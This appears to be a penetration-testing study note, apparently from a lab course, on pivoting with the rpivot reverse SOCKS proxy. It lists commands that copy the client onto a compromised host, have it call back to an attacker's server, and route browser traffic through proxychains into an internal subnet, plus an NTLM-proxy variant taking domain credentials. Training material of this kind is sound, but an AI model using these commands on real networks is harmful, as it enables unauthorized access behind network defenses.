8. rpivot

https://github.com/klsecservices/rpivot reverse SOCKS proxy tool written in python for SOCKS tunneling

cloning:

sudo git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7

start server.py from ATTACK HOST:

python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

transfer rpivot to PIVOT TARGET:

scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/

run client.py from PIVOT TARGET:

python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

Configure proxychains to pivot over local server on 127.0.0.1:9050 on our attack host, initially started by python server. We should be able to access the webserver on our server-side which is hosted on the internal network of 172.16.5.0/23 at 172.16.5.135:80 using proxychains and firefox.

proxychains firefox-esr 172.16.5.135:80

Similar to the pivot proxy above, there could be scenarios when we cannot directly pivot to an external server (attack host) on the cloud. Some organizations have HTTP-proxy with NTLM authentication configured with the Domain Controller. In such cases, we can provide an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by providing a username and password. In these cases, we could use rpivot's client.py in the following way:

python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>

practical usage:

┌──(root㉿kali)-[~/cpts/pivot-tunnel]
└─# scp -r rpivot ubuntu@10.129.6.244:/home/ubuntu

![](/img/Pasted image 20240825115619.png)

![](/img/Pasted image 20240825115835.png) ![](/img/Pasted image 20240825115842.png) We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack host, which was initially started by the Python server. ![](/img/Pasted image 20240825115940.png) ![](/img/Pasted image 20240825120022.png)